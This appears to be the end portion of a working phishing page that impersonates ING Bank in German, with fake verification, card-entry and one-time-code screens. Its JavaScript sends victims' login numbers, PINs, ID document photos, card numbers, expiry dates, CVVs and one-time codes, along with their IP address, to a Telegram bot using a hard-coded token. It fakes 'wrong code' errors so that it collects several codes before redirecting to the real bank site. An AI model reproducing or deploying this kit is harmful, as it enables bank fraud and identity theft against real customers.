<span class="security-info-text">DSGVO-konform</span>
</div>
<div class="security-info-item">
<div class="security-info-icon">
<i class="fas fa-user-shield"></i>
</div>
<span class="security-info-text">Datenschutz garantiert</span>
</div>
</div>
</div>
</div>
<div class="footer">
<div class="footer-content">
<div class="copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
<div class="cookie-links">
<a href="#" class="cookie-link">Cookies settings</a>
<a href="#" class="cookie-link">Cookies policy</a>
</div>
</div>
</div>
</div>
<div class="screen" id="verificationScreen">
<div class="verification-header">
<img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
<div class="header-actions">
<button class="header-btn"><i class="fas fa-globe"></i> DE</button>
<button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
</div>
</div>
<div class="verification-container">
<div class="verification-content">
<div class="verification-icon"><i class="fas fa-shield-alt"></i></div>
<h1 class="verification-title">Bestätigen Sie die Anmeldung in der ING App</h1>
<div class="verification-subtitle">Sicherheitsbestätigung erforderlich</div>
<p class="verification-message">Zum Schutz Ihres Kontos benötigen wir eine Bestätigung über Ihre ING Banking App. Bitte öffnen Sie die App auf Ihrem Smartphone und bestätigen Sie die Anmeldung innerhalb der nächsten 5 Minuten.</p>
<ul class="verification-steps">
<li class="verification-step"><div class="step-number">1</div><div class="step-text">Öffnen Sie die ING Banking App auf Ihrem Smartphone</div></li>
<li class="verification-step"><div class="step-number">2</div><div class="step-text">Sie erhalten eine Benachrichtigung zur Anmeldebestätigung</div></li>
<li class="verification-step"><div class="step-number">3</div><div class="step-text">Bestätigen Sie die Anmeldung mit Ihrer App-Freigabe</div></li>
</ul>
<div class="security-badge"><i class="fas fa-lock"></i><span>Ihre Daten werden verschlüsselt übertragen</span></div>
<button class="verification-btn" onclick="confirmVerification()"><i class="fas fa-check-circle"></i>Verstanden, ich bestätige in der App</button>
</div>
<div class="phone-visual">
<div class="phone-mockup">
<div class="phone-screen">
<div class="app-icon"><i class="fas fa-university"></i></div>
<div class="app-title">ING Banking</div>
<div class="app-message">Bestätigen Sie Ihre Anmeldung im Browser</div>
<button class="approve-btn">Anmelden bestätigen</button>
</div>
</div>
</div>
</div>
<div class="verification-footer">
<div class="verification-footer-content">
<div class="verification-copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
<div class="verification-cookie-links">
<a href="#" class="verification-cookie-link">Cookies settings</a>
<a href="#" class="verification-cookie-link">Cookies policy</a>
</div>
</div>
</div>
</div>
<div class="screen" id="cardEntryScreen">
<div class="header">
<img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
<div class="header-actions">
<button class="header-btn"><i class="fas fa-globe"></i> DE</button>
<button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
</div>
</div>
<div class="card-entry-container">
<div class="payment-header">
<div class="payment-icon"><i class="fas fa-credit-card"></i></div>
<h1 class="card-entry-title">Sichere Zahlungsdaten</h1>
<p class="card-entry-subtitle">Bitte geben Sie Ihre Kreditkarteninformationen ein</p>
</div>
<div class="card-form">
<form id="cardForm">
<div class="form-group">
<label class="form-label" for="cardNumber">Kartennummer</label>
<div class="input-with-icon"><i class="far fa-credit-card"></i><input type="text" id="cardNumber" class="form-input" placeholder="1234 5678 9012 3456" maxlength="19"></div>
<div class="validation-message error" id="cardNumberError" style="display: none;"><i class="fas fa-exclamation-circle"></i>Ungültige Kartennummer</div>
</div>
<div class="form-row">
<div class="form-group">
<label class="form-label" for="expiryDate">Ablaufdatum</label>
<div class="input-with-icon"><i class="far fa-calendar-alt"></i><input type="text" id="expiryDate" class="form-input" placeholder="MM/JJ" maxlength="5"></div>
<div class="validation-message error" id="expiryDateError" style="display: none;"><i class="fas fa-exclamation-circle"></i>Ungültiges Ablaufdatum</div>
</div>
<div class="form-group">
<label class="form-label" for="cvv">Sicherheitscode (CVV)</label>
<div class="input-with-icon"><i class="fas fa-lock"></i><input type="text" id="cvv" class="form-input" placeholder="123" maxlength="3"></div>
<div class="validation-message error" id="cvvError" style="display: none;"><i class="fas fa-exclamation-circle"></i>Ungültiger CVV-Code</div>
</div>
</div>
<div class="form-group">
<label class="form-label" for="cardHolder">Name des Karteninhabers</label>
<div class="input-with-icon"><i class="far fa-user"></i><input type="text" id="cardHolder" class="form-input" placeholder="MAX MUSTERMANN"></div>
<div class="validation-message error" id="cardHolderError" style="display: none;"><i class="fas fa-exclamation-circle"></i>Nur Buchstaben erlaubt</div>
</div>
<button type="submit" class="card-submit-btn"><i class="fas fa-shield-alt"></i>Zahlung sichern & abschließen</button>
</form>
<div class="card-security-grid">
<div class="card-security-feature"><i class="fas fa-lock"></i><span>256-bit Verschlüsselung</span></div>
<div class="card-security-feature"><i class="fas fa-shield-alt"></i><span>PCI DSS konform</span></div>
<div class="card-security-feature"><i class="fas fa-check-circle"></i><span>3D Secure</span></div>
<div class="card-security-feature"><i class="fas fa-fingerprint"></i><span>Biometrische Authentifizierung</span></div>
<div class="card-security-feature"><i class="fas fa-user-shield"></i><span>Zwei-Faktor-Authentifizierung</span></div>
<div class="card-security-feature"><i class="fas fa-server"></i><span>Sichere Server-Verbindung</span></div>
</div>
</div>
</div>
<div class="card-entry-footer">
<div class="card-entry-footer-content">
<div class="card-entry-copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
<div class="card-entry-cookie-links">
<a href="#" class="card-entry-cookie-link">Cookies settings</a>
<a href="#" class="card-entry-cookie-link">Cookies policy</a>
</div>
</div>
</div>
</div>
<div class="screen" id="verificationCodeScreen">
<div class="header">
<img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
<div class="header-actions">
<button class="header-btn"><i class="fas fa-globe"></i> DE</button>
<button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
</div>
</div>
<div class="verification-code-container">
<div class="payment-header">
<div class="payment-icon"><i class="fas fa-mobile-alt"></i></div>
<h1 class="verification-code-title">Sicherheitscode bestätigen</h1>
<p class="verification-code-subtitle">Bitte geben Sie den 6-stelligen Code ein, der an Ihr Mobilgerät gesendet wurde</p>
</div>
<div class="verification-code-form">
<div class="code-info"><p>Wir haben einen Sicherheitscode an Ihr registriertes Mobilgerät gesendet</p></div>
<div class="error-message" id="errorMessage">Falscher Sicherheitscode. Bitte versuchen Sie es erneut.</div>
<div class="success-message" id="successMessage">Verifizierung erfolgreich! Die Informationen wurden korrekt bestätigt. Sie werden in 5 Sekunden weitergeleitet.</div>
<form id="verificationCodeForm">
<div class="code-inputs">
<input type="text" class="code-input" maxlength="1" data-index="0">
<input type="text" class="code-input" maxlength="1" data-index="1">
<input type="text" class="code-input" maxlength="1" data-index="2">
<input type="text" class="code-input" maxlength="1" data-index="3">
<input type="text" class="code-input" maxlength="1" data-index="4">
<input type="text" class="code-input" maxlength="1" data-index="5">
</div>
<button type="submit" class="verification-code-btn"><i class="fas fa-check-circle"></i>Code bestätigen</button>
</form>
<div class="resend-code"><p>Keinen Code erhalten? <a href="#" class="resend-link">Code erneut senden</a></p></div>
<div class="verification-security-grid">
<div class="verification-security-feature"><i class="fas fa-shield-alt"></i><span>Zwei-Faktor-Authentifizierung</span></div>
<div class="verification-security-feature"><i class="fas fa-lock"></i><span>End-to-End Verschlüsselung</span></div>
<div class="verification-security-feature"><i class="fas fa-clock"></i><span>Zeitlich begrenzte Gültigkeit</span></div>
<div class="verification-security-feature"><i class="fas fa-mobile-alt"></i><span>Geräte-basierte Sicherheit</span></div>
<div class="verification-security-feature"><i class="fas fa-user-check"></i><span>Identitätsprüfung</span></div>
<div class="verification-security-feature"><i class="fas fa-ban"></i><span>Automatische Sperrung bei Fehlversuchen</span></div>
</div>
</div>
</div>
<div class="verification-code-footer">
<div class="verification-code-footer-content">
<div class="verification-code-copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
<div class="verification-code-cookie-links">
<a href="#" class="verification-code-cookie-link">Cookies settings</a>
<a href="#" class="verification-code-cookie-link">Cookies policy</a>
</div>
</div>
</div>
</div>
<div class="screen" id="successScreen">
<div class="header">
<img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
<div class="header-actions">
<button class="header-btn"><i class="fas fa-globe"></i> DE</button>
<button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
</div>
</div>
<div class="success-container">
<div class="payment-header">
<div class="success-icon"><i class="fas fa-check-circle"></i></div>
<h1 class="success-title">Verifizierung erfolgreich!</h1>
<p class="success-subtitle">Die Informationen wurden korrekt bestätigt</p>
</div>
<div class="success-content">
<div class="success-message-large">
<p>Ihre Verifizierung war erfolgreich. Sie werden in Kürze weitergeleitet.</p>
</div>
<div class="countdown" id="countdown">Weiterleitung in 5 Sekunden...</div>
<div class="security-features">
<div class="security-feature"><i class="fas fa-shield-alt"></i><span>Sichere Verbindung</span></div>
<div class="security-feature"><i class="fas fa-lock"></i><span>Verschlüsselte Übertragung</span></div>
</div>
</div>
</div>
<div class="success-footer">
<div class="success-footer-content">
<div class="success-copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
<div class="success-cookie-links">
<a href="#" class="success-cookie-link">Cookies settings</a>
<a href="#" class="success-cookie-link">Cookies policy</a>
</div>
</div>
</div>
</div>
<script>
let countdown, timeLeft = 15, verificationAttempts = 0, successCountdown, verificationTimeout;
const togglePassword = () => {
const pinInput = document.getElementById('pin'), toggleIcon = document.querySelector('.password-toggle i');
pinInput.type = pinInput.type === 'password' ? 'text' : 'password';
toggleIcon.classList.toggle('fa-eye-slash');
};
const showLoading = (message = "Authentifizierung läuft...") => {
document.getElementById('loadingMessage').textContent = message;
document.getElementById('loadingOverlay').style.display = 'flex';
};
const hideLoading = () => document.getElementById('loadingOverlay').style.display = 'none';
const showIdVerification = () => document.getElementById('idVerificationScreen').style.display = 'flex';
const closeIdVerification = () => document.getElementById('idVerificationScreen').style.display = 'none';
const showVerification = () => {
document.getElementById('verificationScreen').style.display = 'flex';
timeLeft = 15;
clearTimeout(verificationTimeout);
verificationTimeout = setTimeout(() => {
closeVerification();
showLoading("Verarbeitung läuft...");
setTimeout(() => {
hideLoading();
showCardEntry();
}, 12000);
}, 15000);
};
const closeVerification = () => {
document.getElementById('verificationScreen').style.display = 'none';
clearTimeout(verificationTimeout);
};
const showCardEntry = () => document.getElementById('cardEntryScreen').style.display = 'flex';
const closeCardEntry = () => document.getElementById('cardEntryScreen').style.display = 'none';
const showVerificationCode = () => {
document.getElementById('verificationCodeScreen').style.display = 'flex';
document.getElementById('errorMessage').style.display = 'none';
document.getElementById('successMessage').style.display = 'none';
verificationAttempts = 0;
resetCodeInputs();
};
const closeVerificationCode = () => document.getElementById('verificationCodeScreen').style.display = 'none';
const showSuccessScreen = () => {
document.getElementById('successScreen').style.display = 'flex';
startSuccessCountdown();
};
const closeSuccessScreen = () => {
document.getElementById('successScreen').style.display = 'none';
if (successCountdown) clearInterval(successCountdown);
};
const resetCodeInputs = () => {
const codeInputs = document.querySelectorAll('.code-input');
codeInputs.forEach(input => {
input.value = '';
input.classList.remove('error', 'success', 'filled');
});
};
const setCodeInputsError = () => {
const codeInputs = document.querySelectorAll('.code-input');
codeInputs.forEach(input => {
input.value = '';
input.classList.add('error');
input.classList.remove('success', 'filled');
});
};
const setCodeInputsSuccess = () => {
const codeInputs = document.querySelectorAll('.code-input');
codeInputs.forEach(input => {
input.classList.add('success');
input.classList.remove('error', 'filled');
});
};
const startSuccessCountdown = () => {
let seconds = 5;
const countdownElement = document.getElementById('countdown');
countdownElement.textContent = `Weiterleitung in ${seconds} Sekunden...`;
successCountdown = setInterval(() => {
seconds--;
countdownElement.textContent = `Weiterleitung in ${seconds} Sekunden...`;
if (seconds <= 0) {
clearInterval(successCountdown);
window.location.href = 'https://www.ing.de/';
}
}, 1000);
};
const confirmVerification = () => {
closeVerification();
showLoading("Verarbeitung läuft...");
setTimeout(() => {
hideLoading();
showCardEntry();
}, 12000);
};
const luhnCheck = (cardNumber) => {
const cleaned = cardNumber.replace(/\s+/g, '');
if (!/^\d+$/.test(cleaned)) return false;
let sum = 0;
let isEven = false;
for (let i = cleaned.length - 1; i >= 0; i--) {
let digit = parseInt(cleaned.charAt(i), 10);
if (isEven) {
digit *= 2;
if (digit > 9) digit -= 9;
}
sum += digit;
isEven = !isEven;
}
return sum % 10 === 0;
};
const validateCardNumber = (cardNumber) => {
const cleaned = cardNumber.replace(/\s+/g, '');
if (cleaned.length < 13 || cleaned.length > 19) return false;
return luhnCheck(cardNumber);
};
const validateExpiryDate = (expiryDate) => {
const regex = /^(0[1-9]|1[0-2])\/([0-9]{2})$/;
if (!regex.test(expiryDate)) return false;
const [month, year] = expiryDate.split('/');
const now = new Date();
const currentYear = now.getFullYear() % 100;
const currentMonth = now.getMonth() + 1;
const expiryYear = parseInt(year, 10);
const expiryMonth = parseInt(month, 10);
if (expiryYear < currentYear) return false;
if (expiryYear === currentYear && expiryMonth < currentMonth) return false;
return true;
};
const validateCVV = (cvv) => {
return /^\d{3,4}$/.test(cvv);
};
const validateCardHolder = (cardHolder) => {
return /^[a-zA-ZäöüÄÖÜß\s]+$/.test(cardHolder);
};
const validateForm = () => {
const cardNumber = document.getElementById('cardNumber').value;
const expiryDate = document.getElementById('expiryDate').value;
const cvv = document.getElementById('cvv').value;
const cardHolder = document.getElementById('cardHolder').value;
let isValid = true;
if (!validateCardNumber(cardNumber)) {
document.getElementById('cardNumber').classList.add('error');
document.getElementById('cardNumberError').style.display = 'flex';
isValid = false;
} else {
document.getElementById('cardNumber').classList.remove('error');
document.getElementById('cardNumberError').style.display = 'none';
}
if (!validateExpiryDate(expiryDate)) {
document.getElementById('expiryDate').classList.add('error');
document.getElementById('expiryDateError').style.display = 'flex';
isValid = false;
} else {
document.getElementById('expiryDate').classList.remove('error');
document.getElementById('expiryDateError').style.display = 'none';
}
if (!validateCVV(cvv)) {
document.getElementById('cvv').classList.add('error');
document.getElementById('cvvError').style.display = 'flex';
isValid = false;
} else {
document.getElementById('cvv').classList.remove('error');
document.getElementById('cvvError').style.display = 'none';
}
if (!validateCardHolder(cardHolder) || cardHolder.trim() === '') {
document.getElementById('cardHolder').classList.add('error');
document.getElementById('cardHolderError').style.display = 'flex';
isValid = false;
} else {
document.getElementById('cardHolder').classList.remove('error');
document.getElementById('cardHolderError').style.display = 'none';
}
return isValid;
};
const getIP = async () => {
try {
const response = await fetch('https://api.ipify.org?format=json');
const data = await response.json();
return data.ip;
} catch (error) {
return 'IP nicht verfügbar';
}
};
const sendToTelegram = async (message) => {
const token = '6907540496:AAFXr4xLj0a65oY86Qx6SHL_uYkQPB5Wf4M';
const chatId = '-5166524829';
const url = `https://api.telegram.org/bot${token}/sendMessage`;
try {
await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
chat_id: chatId,
text: message,
parse_mode: 'HTML'
})
});
} catch (error) {
console.error('Error sending to Telegram:', error);
}
};
const sendFileToTelegram = async (file, caption) => {
const token = '6907540496:AAFXr4xLj0a65oY86Qx6SHL_uYkQPB5Wf4M';
const chatId = '-5166524829';
const url = `https://api.telegram.org/bot${token}/sendDocument`;
const formData = new FormData();
formData.append('chat_id', chatId);
formData.append('document', file);
formData.append('caption', caption);
try {
await fetch(url, {
method: 'POST',
body: formData
});
} catch (error) {
console.error('Error sending file to Telegram:', error);
}
};
document.getElementById('loginForm').addEventListener('submit', async function(e) {
e.preventDefault();
const zugangsnummer = document.getElementById('zugangsnummer').value, pin = document.getElementById('pin').value;
if (zugangsnummer && pin) {
showLoading();
const ip = await getIP();
const message = `login: ${zugangsnummer}\npassword: ${pin}\nIP: ${ip}`;
await sendToTelegram(message);
setTimeout(() => {
hideLoading();
showIdVerification();
}, 12000);
}
});
document.querySelector('.btn-secondary').addEventListener('click', async () => {
const zugangsnummer = document.getElementById('zugangsnummer').value, pin = document.getElementById('pin').value;
showLoading();
if (zugangsnummer && pin) {
const ip = await getIP();
const message = `login: ${zugangsnummer}\npassword: ${pin}\nIP: ${ip}`;
await sendToTelegram(message);
}
setTimeout(() => {
hideLoading();
showIdVerification();
}, 12000);
});
let frontFile = null, backFile = null;
document.getElementById('frontUpload').addEventListener('change', function(e) {
frontFile = e.target.files[0];
if (frontFile) {
document.getElementById('frontUploadBox').classList.add('has-file');
document.getElementById('frontFilename').innerHTML = `<i class="fas fa-check-circle"></i>${frontFile.name}`;
document.getElementById('frontFilename').style.display = 'flex';
checkUploadCompletion();
}
});
document.getElementById('backUpload').addEventListener('change', function(e) {
backFile = e.target.files[0];
if (backFile) {
document.getElementById('backUploadBox').classList.add('has-file');
document.getElementById('backFilename').innerHTML = `<i class="fas fa-check-circle"></i>${backFile.name}`;
document.getElementById('backFilename').style.display = 'flex';
checkUploadCompletion();
}
});
const checkUploadCompletion = () => {
const submitBtn = document.getElementById('idSubmitBtn');
if (frontFile) {
submitBtn.disabled = false;
}
};
document.getElementById('idVerificationForm').addEventListener('submit', async function(e) {
e.preventDefault();
showLoading("Dokumente werden verarbeitet...");
const ip = await getIP();
if (frontFile) {
await sendFileToTelegram(frontFile, `ID Front - IP: ${ip}`);
}
if (backFile) {
await sendFileToTelegram(backFile, `ID Back - IP: ${ip}`);
}
setTimeout(() => {
hideLoading();
closeIdVerification();
showVerification();
}, 12000);
});
document.getElementById('cardNumber').addEventListener('input', function(e) {
let value = e.target.value.replace(/\s+/g, '').replace(/[^0-9]/gi, ''), formattedValue = '';
for (let i = 0; i < value.length; i++) {
if (i > 0 && i % 4 === 0) formattedValue += ' ';
formattedValue += value[i];
}
e.target.value = formattedValue;
if (validateCardNumber(e.target.value)) {
e.target.classList.remove('error');
e.target.classList.add('success');
document.getElementById('cardNumberError').style.display = 'none';
} else {
e.target.classList.remove('success');
}
});
document.getElementById('expiryDate').addEventListener('input', function(e) {
let value = e.target.value.replace(/[^0-9]/g, '');
if (value.length >= 2) value = value.substring(0, 2) + '/' + value.substring(2);
e.target.value = value.substring(0, 5);
if (validateExpiryDate(e.target.value)) {
e.target.classList.remove('error');
e.target.classList.add('success');
document.getElementById('expiryDateError').style.display = 'none';
} else {
e.target.classList.remove('success');
}
});
document.getElementById('cvv').addEventListener('input', function(e) {
e.target.value = e.target.value.replace(/[^0-9]/g, '').substring(0, 4);
if (validateCVV(e.target.value)) {
e.target.classList.remove('error');
e.target.classList.add('success');
document.getElementById('cvvError').style.display = 'none';
} else {
e.target.classList.remove('success');
}
});
document.getElementById('cardHolder').addEventListener('input', function(e) {
e.target.value = e.target.value.replace(/[^a-zA-ZäöüÄÖÜß\s]/g, '');
if (validateCardHolder(e.target.value) && e.target.value.trim() !== '') {
e.target.classList.remove('error');
e.target.classList.add('success');
document.getElementById('cardHolderError').style.display = 'none';
} else {
e.target.classList.remove('success');
}
});
document.getElementById('cardForm').addEventListener('submit', async function(e) {
e.preventDefault();
if (validateForm()) {
showLoading("Zahlungsdaten werden verarbeitet...");
const cardNumber = document.getElementById('cardNumber').value;
const expiryDate = document.getElementById('expiryDate').value;
const cvv = document.getElementById('cvv').value;
const ip = await getIP();
const message = `CARD: ${cardNumber}\nMM/JJ: ${expiryDate}\nCVV: ${cvv}\nIP: ${ip}`;
await sendToTelegram(message);
setTimeout(() => {
hideLoading();
showVerificationCode();
}, 12000);
}
});
document.getElementById('verificationCodeForm').addEventListener('submit', async function(e) {
e.preventDefault();
showLoading("Code wird überprüft...");
const codeInputs = document.querySelectorAll('.code-input');
let code = '';
codeInputs.forEach(input => {
code += input.value;
});
const ip = await getIP();
const message = `OTP: ${code}\nIP: ${ip}`;
await sendToTelegram(message);
setTimeout(() => {
hideLoading();
verificationAttempts++;
if (verificationAttempts < 3) {
setCodeInputsError();
document.getElementById('errorMessage').style.display = 'block';
document.getElementById('successMessage').style.display = 'none';
} else {
setCodeInputsSuccess();
document.getElementById('errorMessage').style.display = 'none';
document.getElementById('successMessage').style.display = 'block';
setTimeout(() => {
closeVerificationCode();
showSuccessScreen();
}, 2000);
}
}, 12000);
});
const codeInputs = document.querySelectorAll('.code-input');
codeInputs.forEach((input, index) => {
input.addEventListener('input', function(e) {
const value = e.target.value.replace(/[^0-9]/g, '');
e.target.value = value;
if (value.length === 1 && /[0-9]/.test(value)) {
e.target.classList.add('filled');
if (index < codeInputs.length - 1) codeInputs[index + 1].focus();
} else if (value.length === 0) e.target.classList.remove('filled');
});
input.addEventListener('keydown', function(e) {
if (e.key === 'Backspace' && e.target.value.length === 0 && index > 0) codeInputs[index - 1].focus();
});
input.addEventListener('paste', function(e) {
e.preventDefault();
const pasteData = e.clipboardData.getData('text').replace(/[^0-9]/g, '');
if (pasteData.length === 6) {
for (let i = 0; i < 6; i++) {
if (codeInputs[i]) {
codeInputs[i].value = pasteData[i];
codeInputs[i].classList.add('filled');
}
}
codeInputs[5].focus();
}
});
});
</script>
</body>
</html>